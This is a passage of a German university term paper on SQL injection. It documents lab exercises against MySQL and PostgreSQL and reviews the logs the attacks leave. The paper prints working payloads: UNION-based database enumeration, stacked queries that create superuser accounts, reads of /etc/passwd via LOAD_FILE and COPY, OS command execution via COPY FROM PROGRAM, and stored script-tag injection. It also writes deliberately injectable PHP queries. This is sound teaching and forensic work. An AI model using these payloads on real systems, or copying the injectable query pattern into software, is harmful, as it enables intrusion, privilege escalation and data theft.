im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput....

38
Hausarbeit im Modul „Datenbanken II: Forensik in Datenbankmanagementsystemen“ des Fernstudiengangs „Forensic Engineering“ an der Hochschule Wismar zu dem Thema: SQL-Injektion

Transcript of im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput....

Page 1: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

Hausarbeit im Modul „Datenbanken II:

Forensik in Datenbankmanagementsystemen“ des Fernstudiengangs „Forensic Engineering“

an der Hochschule Wismar

zu dem Thema:

SQL-Injektion

Page 2: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

2

Aufgabenstellung Die Aufgabenstellung dieser Hausarbeit setzt sich aus zwei Teilen zusammen. Zunächst sollen anhand der Bachelor Thesis von Herrn Hense SQL-Injektion-Beispiele in dessen VM-Umgebung durchgeführt und dokumentiert werden. Dies soll an zwei unterschiedlichen Datenbankmanagementsystemen für jeweils fünf Beispiele erfolgen. Im Folgenden sollen erneut zwei Datenbankmanagementsysteme ausgewählt werden. In diesen soll eine eigene Beispiel-Datenbank installiert werden. Anschließend sollen in ihnen jeweils fünf SQL-Injektion-Beispiele durchgeführt und forensisch aufgearbeitet werden. Die fünf Beispiele richten sich nach folgenden Aspekten, die Zielen von SQL-Injektion entsprechen:

1) Ausspähen von Daten 2) Veränderung von Daten 3) Datenbank-Server verändern 4) Änderungen am Filesystem 5) Einschleusen von beliebigem Code

Diese Hausarbeit stellt die Dokumentation der Bearbeitung dieser Aufgabenstellung dar.

Page 3: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

3

Inhaltsverzeichnis

SQL-Injektion zur Hense Bachelor Thesis ............................................................................................. 4 Installation der VM-Umgebung ...................................................................................................................... 4 Datenbanksystem I - MySQL ......................................................................................................................... 6

Ausspähen von Daten ................................................................................................................................ 6 Veränderung von Daten ............................................................................................................................. 6 Datenbank-Server verändern .................................................................................................................... 8 Änderungen am Filesystem ...................................................................................................................... 9 Einschleusen von beliebigem Code ....................................................................................................... 10

Datenbanksystem II – PostgreSQL ............................................................................................................ 11 Ausspähen von Daten .............................................................................................................................. 11 Veränderung von Daten ........................................................................................................................... 11 Datenbank-Server verändern .................................................................................................................. 13 Änderungen am Filesystem .................................................................................................................... 14 Einschleusen von beliebigem Code ....................................................................................................... 16

SQL-Injektion zur eigenen Datenbank .................................................................................................. 17 Eigenes Datenbanksystem I - MySQL ....................................................................................................... 18

Installation .................................................................................................................................................. 18 Untersuchte Aspekte von SQL-Injektion ............................................................................................... 22

Eigenes Datenbanksystem II - PostgreSQL .............................................................................................. 29 Installation .................................................................................................................................................. 29 Untersuchte Aspekte von SQL-Injektion ............................................................................................... 33

Fazit ............................................................................................................................................................ 38

Page 4: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

4

SQL-Injektion zur Hense Bachelor Thesis Installation der VM-Umgebung Im ersten Schritt wurde versucht, die VM-Umgebung über im Skript angegebene Links herunterzuladen, um diese im Anschluss ausführen zu können. Allerdings funktionierte dies nicht, da der Download nach einigen Stunden stets abbrach. Deshalb wurden die Dateien über Kommilitonen in mehrfach gezippter Form an einem Präsenztag über USB-Stick beschafft. Anschließend wurden die Dateien entpackt. Das Ergebnis sieht wie folgt aus.

Nun konnte die VM mit VirtualBox gestartet werden.

Page 5: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

5

Da VirtualBox auf dem genutzten PC schon installiert war, öffnete sich dieses direkt und konnte im Folgenden genutzt werden.

Nach Klick auf den Start-Button, lief die VM wie gewünscht.

Page 6: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

6

Datenbanksystem I - MySQL Nach erfolgreicher Installation der VM-Umgebung, konnte mit der eigentlichen Arbeit, dem Ausführen der Beispiele für SQL-Injektion anhand der vorliegenden Bachelor Thesis, begonnen werden. Dazu wurden die Datenbanksysteme MySQL und PostgreSQL ausgewählt. In diesem Kapitel werden die Beispiele nun an der MySQL-Datenbank bearbeitet. Ausspähen von Daten In folgendem Beispiel wurden von einem MySQL-System die Namen der installierten Datenbanken durch SQL-Injektion ausgelesen.

Wie im Screenshot zu sehen, wurde dies über ein UNION SELECT erreicht. Der Select-Befehl sah dabei wie folgt aus. SELECT * FROM products WHERE price < 0 union SELECT schema_name,0,0,0 FROM information_schema.schemata; Veränderung von Daten Es ist durch SQL-Injektion jedoch nicht nur möglich Daten auszulesen, auch Datenveränderungen sind realisierbar. Hier wurde unter Zuhilfenahme der 12_MULTIQUERY.php eine neue Datenbank hack hinzugefügt.

'; CREATE DATABASE hack;‘

Page 7: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

7

Dass der SQL-Befehl erfolgreich war, zeigen folgende Terminalabfragen.

Im Anschluss wurde die Datenbank wieder gelöscht.

'; DROP DATABASE hack;‘ Eine erneute Terminalabfrage zeigt, dass die Tabelle nicht mehr existiert.

Page 8: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

8

Datenbank-Server verändern Auch Datenbank-Server-Veränderungen sind vor SQL-Injektion nicht sicher. So wurde hier ein neuer Nutzer mit quasi allumfassenden Rechten am Datenbankmanagementsystem angelegt.

1'; INSERT INTO `mysql`.`user` (`Host`,`User`,`Password`,`Select_priv`, `Insert_priv`,`Update_priv`,`Delete_priv`,`Create_priv`,`Drop_priv`, `Reload_priv`,`Shutdown_priv`,`Process_priv`,`File_priv`,`Grant_priv`, `References_priv`,`Index_priv`,`Alter_priv`,`Show_db_priv`, `Super_priv`,`Create_tmp_table_priv`,`Lock_tables_priv`, `Execute_priv`,`Repl_slave_priv`,`Repl_client_priv`, `Create_view_priv`,`Show_view_priv`,`Create_routine_priv`, `Alter_routine_priv`,`Create_user_priv`,`Event_priv`,`Trigger_priv`, `Create_tablespace_priv`,`ssl_type`,`max_questions`,`max_updates`, `max_connections`,`max_user_connections`,`plugin`, `authentication_string`)VALUES('%','hackUser',password('p'),2,2,2,2,2,2,2,2,2 ,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,0,'0','0','0','0','',NULL); FLUSH PRIVILEGES; Nach Anmeldung am Adminer, ist das Ergebnis der SQL-Injektion dort nachzuvollziehen.

Page 9: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

9

Im Anschluss wurde der User wieder gelöscht.

1'; DELETE FROM mysql.user WHERE USER = 'hackUser'; FLUSH PRIVILEGES;

Änderungen am Filesystem Änderungen am und Zugriffe auf das Filesystem sind ebenso realisierbar. Hier wurde zum Beispiel die Datei test.txt über SQL-Injektion ausgelesen.

www.victim.com/integer_products.php?val=100 UNION SELECT '0', LOAD_FILE('var/lib/mysql/test.txt'),0,‘0‘;

Page 10: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

10

Einschleusen von beliebigem Code Wohl der Klassiker unter SQL-Injektion-Beispielen ist das Einfügen von beliebigem Code, sodass Aktionen ausgeführt werden, die vom ursprünglichen Entwickler nicht gewollt waren. Demonstriert wurde dies hier über folgenden Befehl, der Daten in die Datenbanktabelle professoren schreibt und dabei ein script-Tag einführt, der durch den Browser direkt ausgeführt wird. Die Eingabe wird im Folgenden nicht weiter ausgewertet.

INSERT INTO `professoren` (`name`,`Rang`)VALUES ('S','<script>prompt("bitte passwort eingeben:", "");</script>');

Page 11: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

11

Datenbanksystem II – PostgreSQL Als zweites Datenbankmanagement wurde, wie bereits erwähnt, PostgreSQL ausgewählt. Die Beispiele der Bachelor-Thesis werden in diesem Kapitel nun an diesem Datenbankmanagement ausgeführt. Ausspähen von Daten Ziel dieser Datenausspähung ist es zu erfahren, welche Datenbanken alles in diesem Datenbankmanagementsystem vorliegen. Dazu wurde folgende SQL-Injektion verwendet.

SELECT * FROM professoren WHERE name like 'Sokrates' UNION SELECT 0,datname,'1','1' FROM pg_database -- .'' In der Spalte name sind nun, neben Sokrates, alle Namen der Datenbanken zu sehen. Veränderung von Daten Zur Umsetzung der SQL-Injektionen zur Veränderung von Daten im PostgreSQL-Managementsystem wurde zunächst die 13_PARSER.php Datei ein wenig angepasst. Dies liegt in den nicht einheitlichen SQL-Befehlen der verschiedenen Datenbankmanagementsystemen begründet. So musste die Variable $sql ein wenig umgeschrieben werden.

Page 12: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

12

Nach erfolgreicher Anpassung konnte nun über SQL-Injektion eine neue Tabelle test anlegt werden.

'; CREATE TABLE test(test_id serial PRIMARY KEY) ; --. Über Adminer ist, nach erfolgreicher Anmeldung, zu sehen, dass diese Anfrage geklappt hat und die Tabelle nun zusätzlich existiert.

Page 13: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

13

Datenbank-Server verändern Auch in diesem Datenbankmanagementsystem ist es über SQL-Injektion möglich den Datenbank-Server zu verändern. Dazu wurde hier ein weiterer User testuser angelegt.

'; CREATE USER testuser; --. Im Adminer ist dies wieder zu sehen.

Page 14: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

14

Im Anschluss wurde noch eine neue Role angelegt und mit Rechten ausgestattet.

'; CREATE ROLE testuser WITH SUPERUSER; -- .

'; ALTER ROLE testuser WITH LOGIN; ALTER ROLE testuser WITH PASSWORD 'p'; -- . Auch die ROLE ist nun im Adminer hinterlegt.

Änderungen am Filesystem Um den Zugriff auf das Filesystem über SQL-Injektion zu demonstrieren, wird in folgendem Beispiel die Datei passwd eingelesen. Dies geschieht bei PostgreSQL mit dem Befehl COPY über eine Hilfstabelle fileInput.

'; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der Inhalt der Datei befindet sich nun in der Tabelle fileInput, wie man über den Adminer sieht.

Page 15: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

15

Alternativ kann man sich dies auch einfach über eine weiter SQL-Injektion wieder ausgeben lassen.

'; SELECT * FROM fileInput; -- . Abschließend wurde die Hilfstabelle wieder gelöscht.

'; DROP TABLE fileInput; -- .

Page 16: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

16

Einschleusen von beliebigem Code Auch unter PostgreSQL ist es möglich über SQL-Injektion beliebigen Code einzuschleusen. In diesem Beispiel wurde ein Systembefehl direkt ausgeführt und das Ergebnis in eine Tabelle geschrieben. Dazu wurde zunächst die Tabelle tmp gelöscht, falls diese existierte, und wieder neu erstellt.

'; DROP TABLE IF EXISTS tmp ; -- .

'; CREATE TABLE tmp (filename text) ; -- . Im Anschluss wurde der Systembefehl abgesetzt und das Ergebnis in der Tabelle tmp abgespeichert.

'; COPY tmp FROM PROGRAM 'ps -ef'; -- .

'; SELECT * FROM tmp; -- . Zu guter Letzt wurde das Ergebnis angezeigt.

Page 17: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

17

SQL-Injektion zur eigenen Datenbank Im zweiten Teil dieser Hausarbeit sollte eine eigene Datenbank entwickelt und in zwei Datenbankmanagementsystemen installiert werden, um an diesen im Anschluss Schwachstellen für SQL-Injektion zu testen. Zur Bewältigung dieser Aufgabe wurde zunächst ein einfaches Entity-Relationship-Model zum gewünschten Aufbau der Datenbank erstellt. Es wurde festgelegt, dass jeweils eine Datenbank namens Automobilhersteller realisiert werden soll.

Es gibt eine Tabelle Mitarbeiter, die einen Fremdschlüssel zur Tabelle Abteilung innehält. Des weiteren existieren eine Tabelle Kunde und eine Tabelle Auto. Die Tabelle Verkauf hat Fremdschlüssel zu Mitarbeiter, Kunde und Auto und verfügt über einen eigenen Primarschlüssel sowie das Attribut Zahlungsart.

Page 18: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

18

Eigenes Datenbanksystem I - MySQL Als erstes Datenbankmanagement für den zweiten Teil der Hausarbeit wurde erneut MySQL gewählt. Installation Über SQL Kommando in Adminer wurde die Datenbank mit folgenden Befehlen erstellt und mit Daten gefüllt. DROP DATABASE IF EXISTS automobilhersteller; CREATE DATABASE automobilhersteller; USE automobilhersteller; CREATE TABLE IF NOT EXISTS `mitarbeiter` ( `PersNr` int(11) NOT NULL, `Nachname` varchar(30) NOT NULL, `Vorname` varchar(30) DEFAULT NULL, `AbtNr` int(11) NOT NULL, PRIMARY KEY (`PersNr`), KEY `AbtNr` (`AbtNr`) ); CREATE TABLE IF NOT EXISTS `kunde` ( `KundenNr` int(11) NOT NULL, `Nachname` varchar(30) NOT NULL, `Vorname` varchar(30) DEFAULT NULL, `RegistrierungsDatum` TIMESTAMP DEFAULT CURRENT_TIMESTAMP, PRIMARY KEY (`KundenNr`) ); CREATE TABLE IF NOT EXISTS `auto` ( `IdentNr` int(11) NOT NULL, `Model` varchar(30) NOT NULL, `Leistung` int NOT NULL DEFAULT 50, `Farbe` varchar(30) , PRIMARY KEY (`IdentNr`) ); CREATE TABLE IF NOT EXISTS `abteilung` ( `AbtNr` int(11) NOT NULL, `Bezeichnung` varchar(30) , PRIMARY KEY (`AbtNr`) ); CREATE TABLE IF NOT EXISTS `verkauf` ( `VerkaufsNr` int(11) NOT NULL, `PersNr` int(11) NOT NULL, `KundenNr` int(11) NOT NULL, `IdentNr` int(11) NOT NULL, `Zahlungsart` varchar(30) NOT NULL, PRIMARY KEY (`VerkaufsNr`), KEY `PersNr` (`PersNr`), KEY `KundenNr` (`KundenNr`), KEY `IdentNr` (`IdentNr`) );

Page 19: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

19

INSERT INTO `mitarbeiter` (`PersNr`, `Nachname`, `Vorname`, `AbtNr`) VALUES (101, 'Schmidt', 'Peter', 1), (102, 'Mayer', 'Ulrike', 1), (103, 'Tischler', 'Hans', 2); INSERT INTO `kunde` (`KundenNr`, `Nachname`, `Vorname`, `RegistrierungsDatum`) VALUES (5093, 'Müller', 'Kevin', NOW()), (4826, 'Tesler', 'Jan', NOW()), (1024, 'Meister', 'Hanna', NOW()); INSERT INTO `auto` (`IdentNr`, `Model`, `Leistung`, `Farbe`) VALUES (25, 'Polo', 95, 'blau'), (31, 'Golf', 150, 'silber'), (45, 'Tiguan', 110, 'rot'); INSERT INTO `abteilung` (`AbtNr`, `Bezeichnung`) VALUES (1, 'Verkauf'), (2, 'Kundenakquise'); INSERT INTO `verkauf` (`VerkaufsNr`, `PersNr`, `KundenNr`, `IdentNr`, `Zahlungsart`) VALUES (311, 101, 5093, 25, 'Kredit'), (312, 102, 4826, 31, 'Giro'), (313, 101, 1024, 45, 'Bar'); ALTER TABLE `mitarbeiter` ADD CONSTRAINT `mitarbeiter_ibfk_1` FOREIGN KEY (`AbtNr`) REFERENCES `abteilung` (`AbtNr`); ALTER TABLE `verkauf` ADD CONSTRAINT `verkauf_ibfk_1` FOREIGN KEY (`PersNr`) REFERENCES `mitarbeiter` (`PersNr`), ADD CONSTRAINT `verkauf_ibfk_2` FOREIGN KEY (`KundenNr`) REFERENCES `kunde` (`KundenNr`), ADD CONSTRAINT `verkauf_ibfk_3` FOREIGN KEY (`IdentNr`) REFERENCES `auto` (`IdentNr`);

Page 20: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

20

Das Ergebnis sieht im Adminer wie folgt aus. Der Gesamtüberblick

Die Tabelle „Abteilung“

Die Tabelle „Auto“

Page 21: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

21

Die Tabelle „Kunde“

Die Tabelle „Mitarbeiter“

Die Tabelle „Verkauf“

Page 22: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

22

Untersuchte Aspekte von SQL-Injektion Nach der erfolgreichen Installation der eigenen Datenbank in MySQL, wurden nun die einzelnen Aspekte von SQL-Injektion an ihr erprobt. Ausspähen von Daten Um die vorhanden Einsprungadressen nur mit geringen Anpassungen weiter nutzen zu können, mussten zunächst an den php-Dateien Anpassungen vorgenommen werden. So wurde in der db_vars.php die zu verwendende Datenbank hinterlegt.

Außerdem wurde, in Anlehnung an integer_products.php, eine neue Datei integer_leistung.php erstellt. In ihr wurde eine neue QUERY geschrieben. SELECT * FROM auto WHERE Leistung > „.$_GET['val'].$_POST['val'].““;

Dank dieser php können nun alle Autos ausgegeben werden, deren Leistung größer als der mitgegebene Wert ist.

Page 23: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

23

Nun wurde diese Abfrage für eine SQL-Injektion zur Datenausspähung missbraucht, indem eine Abfrage mittels UNION SELECT ergänzt wurde, die alle installierten Datenbanken in dem Datenbankmanagementsystem in der Spalte Model ausgibt.

UNION SELECT 0,schema_name,0,‘0‘ FROM information_schema.schemata; Nachdem die Datenbanken ausgelesen wurden, wurde hier noch ein Schritt weitergegangen und alle Tabellen der Datenbank automobilhersteller ausgespäht.

UNION SELECT 0,table_name,0,‘0‘ FROM information_schema.tables WHERE table_schema = 'automobilhersteller'; Diese Ausspähungen gehen allerdings nicht spurlos am Datenbankmanagementsystem vorbei. So werden in der /var/www/docker/mysql/mysql_query.log alle Zugriffe, inklusiv eben erfolgter vermerkt und sind für den Datenbankadministrator einsehbar.

Page 24: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

24

Im Logfile /var/www/docker/mysql/mysql_error.log werden zudem Fehler, die während der Laufzeit des Datenbankmanagementsystem MySQL entstehen, geloggt. So können unter Umständen auch fehlgeschlagene Versuche von SQL-Injektion festgestellt werden. Für unsere Beispiele ist diese Datei jedoch irrelevant und wird deswegen in folgenden Kapiteln nicht mehr erwähnt. Veränderung von Daten Um im nächsten Schritt Daten nicht nur auslesen, sondern auch verändern zu können, wurde in Anlehnung an die bestehende 12_MULTIQUERY.php eine eigene php namens addAuto_multi.php entwickelt. Diese hat zur Aufgabe, neue Autos anlegen, d.h. in der Datenbank hinterlegen, zu können. Dies schien ein annehmbarer Anwendungsfall, der in einer solchen Webanwendung bestehen würde.

So ist es nun möglich über folgende Beispiel-URL ein neues Auto zu hinterlegen. www.victim.com/addAuto_multi.php?identNr=7&model=Tiguan&leistung=220&farbe=weinrot Diese neue Möglichkeit bietet allerdings direkt auch Angriffspunkte für SQL-Injektion, wie das folgende Beispiel zeigt. So wurde hier nicht nur ein neues Auto angelegt, wie vom Entwickler gewollt, sondern ebenso eine neue Abteilung.

'); INSERT INTO abteilung (AbtNr, Bezeichnung) VALUES 99, 'hallo

Page 25: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

25

Im Adminer ist das Ergebnis entsprechend zu sehen.

Aus forensischer Sicht hinterlässt diese Anfrage im Logging auch ihre Spuren, wie der Auszug der mysql_query.log zeigt.

Datenbank-Server verändern Um für die eigene Automobilhersteller-Datenbank ebenso Datenbank-Server-Änderungen mittels SQL-Injektion durchführen zu können, wurde die 12_MULTIQUERY.php angepasst

Nach dieser Anpassung wurde über SQL-Injektion ein neuer User angelegt und mit Rechten für das Datenbankmanagementsystem versehen.

Page 26: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

26

1'; INSERT INTO `mysql`.`user` (`Host`,`User`,`Password`,`Select_priv`, `Insert_priv`,`Update_priv`,`Delete_priv`,`Create_priv`,`Drop_priv`, `Reload_priv`,`Shutdown_priv`,`Process_priv`,`File_priv`,`Grant_priv`, `References_priv`,`Index_priv`,`Alter_priv`,`Show_db_priv`, `Super_priv`,`Create_tmp_table_priv`,`Lock_tables_priv`, `Execute_priv`,`Repl_slave_priv`,`Repl_client_priv`, `Create_view_priv`,`Show_view_priv`,`Create_routine_priv`, `Alter_routine_priv`,`Create_user_priv`,`Event_priv`,`Trigger_priv`, `Create_tablespace_priv`,`ssl_type`,`max_questions`,`max_updates`, `max_connections`,`max_user_connections`,`plugin`, `authentication_string`)VALUES('%','specialUser',password('p'),2,2,2,2,2,2,2,2,2 ,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,0,'0','0','0','0','',NULL); FLUSH PRIVILEGES; Im Adminer sieht man, dass der User entsprechend angelegt wurde.

Im Anschluss wurde der User – ebenfalls über SQL-Injektion – wieder entfernt.

1'; DELETE FROM mysql.user WHERE USER = 'specialUser'; FLUSH PRIVILEGES; Die SQL-Anfrage im Adminer zeigt, dass der User nicht mehr existiert.

Beide Aktionen wurden vom Logging des Datenbankmanagementsystems erfasst.

Page 27: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

27

Da die Änderungen in diesem Beispiel über localhost (127.0.0.1) durchgeführt wurden, findet man zudem unter /var/log/apache2/access.log ein Logfile des Webservers. Auch dieses enthält genaue Aufzeichnungen über gestellte Anfragen, wie folgende Ausschnitte verdeutlichen.

Änderungen am Filesystem Einen weiteren Angriffspunkt von SQL-Injektion stellt das Filesystem dar. Wie nachfolgendes Beispiel zeigt, ist es auch mit der eigenen Datenbank möglich eine Datei – hier test.txt – auszulesen.

www.victim.com/integer_leistung.php?val=50 UNION SELECT 0, LOAD_FILE('var/lib/mysql/test.txt'),0,‘0‘; Dank dem Logging des Datenbankmanagementsystem bekommt ein aufmerksamer Datenbankadministrator dieses Auslesen jedoch auch mit, wie der Ausschnitt der mysql_query.log zeigt.

Einschleusen von beliebigem Code Eine weitere Möglichkeit von SQL-Injektion ist das Einschleusen von beliebigem Code. Hier wird beim Anlegen eines neuen Autos, statt einer validen Farbe ein Javascript-Tag übergeben, das der Browser direkt ausführt.

Page 28: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

28

www.victim.com/addAuto_multi.php?identNr=66&model=Touran&leistung=220&farbe=<script>prompt(„Achtung, Spezialauto!“)</script> Das Auto wurde auch entsprechend angelegt.

Am Logfile ging diese Änderung jedoch auch nicht vorbei, wie der Ausschnitt zeigt.

Page 29: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

29

Eigenes Datenbanksystem II - PostgreSQL Als zweites Datenbankmanagement wurde erneut PostgreSQL gewählt. Installation Über SQL Kommando in Adminer wurde die Datenbank analog mit folgenden Befehlen erstellt und mit Daten gefüllt. DROP DATABASE IF EXISTS automobilhersteller; CREATE DATABASE automobilhersteller; CREATE TABLE IF NOT EXISTS mitarbeiter ( PersNr int NOT NULL, Nachname varchar(30) NOT NULL, Vorname varchar(30) DEFAULT NULL, AbtNr int NOT NULL, PRIMARY KEY (PersNr) ); CREATE TABLE IF NOT EXISTS kunde ( KundenNr int NOT NULL, Nachname varchar(30) NOT NULL, Vorname varchar(30) DEFAULT NULL, RegistrierungsDatum TIMESTAMP DEFAULT CURRENT_TIMESTAMP, PRIMARY KEY (KundenNr) ); CREATE TABLE IF NOT EXISTS auto ( IdentNr int NOT NULL, Model varchar(30) NOT NULL, Leistung int NOT NULL DEFAULT 50, Farbe varchar(30) , PRIMARY KEY (IdentNr) ); CREATE TABLE IF NOT EXISTS abteilung ( AbtNr int NOT NULL, Bezeichnung varchar(30) , PRIMARY KEY (AbtNr) ); CREATE TABLE IF NOT EXISTS verkauf ( VerkaufsNr int NOT NULL, PersNr int NOT NULL, KundenNr int NOT NULL, IdentNr int NOT NULL, Zahlungsart varchar(30) NOT NULL, PRIMARY KEY (VerkaufsNr) ); INSERT INTO mitarbeiter (PersNr, Nachname, Vorname, AbtNr) VALUES (101, 'Schmidt', 'Peter', 1), (102, 'Mayer', 'Ulrike', 1), (103, 'Tischler', 'Hans', 2); INSERT INTO kunde (KundenNr, Nachname, Vorname, RegistrierungsDatum) VALUES

Page 30: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

30

(5093, 'Müller', 'Kevin', NOW()), (4826, 'Tesler', 'Jan', NOW()), (1024, 'Meister', 'Hanna', NOW()); INSERT INTO auto (IdentNr, Model, Leistung, Farbe) VALUES (25, 'Polo', 95, 'blau'), (31, 'Golf', 150, 'silber'), (45, 'Tiguan', 110, 'rot'); INSERT INTO abteilung (AbtNr, Bezeichnung) VALUES (1, 'Verkauf'), (2, 'Kundenakquise'); INSERT INTO verkauf (VerkaufsNr, PersNr, KundenNr, IdentNr, Zahlungsart) VALUES (311, 101, 5093, 25, 'Kredit'), (312, 102, 4826, 31, 'Giro'), (313, 101, 1024, 45, 'Bar'); ALTER TABLE mitarbeiter ADD CONSTRAINT mitarbeiter_ibfk_1 FOREIGN KEY (AbtNr) REFERENCES abteilung (AbtNr); ALTER TABLE verkauf ADD CONSTRAINT verkauf_ibfk_1 FOREIGN KEY (PersNr) REFERENCES mitarbeiter (PersNr), ADD CONSTRAINT verkauf_ibfk_2 FOREIGN KEY (KundenNr) REFERENCES kunde (KundenNr), ADD CONSTRAINT verkauf_ibfk_3 FOREIGN KEY (IdentNr) REFERENCES auto (IdentNr); commit; Das Ergebnis sieht im Adminer wie folgt aus. Der Gesamtüberblick

Page 31: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

31

Die Tabelle „Abteilung“

Die Tabelle „Auto“

Die Tabelle „Kunde“

Page 32: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

32

Die Tabelle „Mitarbeiter“

Die Tabelle „Verkauf“

Page 33: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

33

Untersuchte Aspekte von SQL-Injektion Nach der erfolgreichen Installation der eigenen Datenbank in PostgreSQL, wurden nun die einzelnen Aspekte von SQL-Injektion an ihr erprobt. Ausspähen von Daten Um vorhandene php-Dateien und Einsprungadressen mit möglichst wenig Änderungsaufwand wieder verwenden zu können, wurde die test_sqli_postgres.php angepasst. So enthält die Variabe $sql nun die folgende Query. SELECT * FROM auto WHERE model like ‘$name‘

So kann man sich alle Autos zurückgeben lassen, die mit der Model-Beschreibung übereinstimmen. Man kann dies allerdings auch für eine SQL-Injektion ausnutzen, wie es in folgendem Beispiel demonstriert wird. Hier wurden zusätzlich über ein UNION SELECT alle Datenbank-Namen in dem Datenbankmanagementsystem angezeigt.

UNION SELECT 0,datname,‘1‘,‘1‘ FROM pg_database -- .

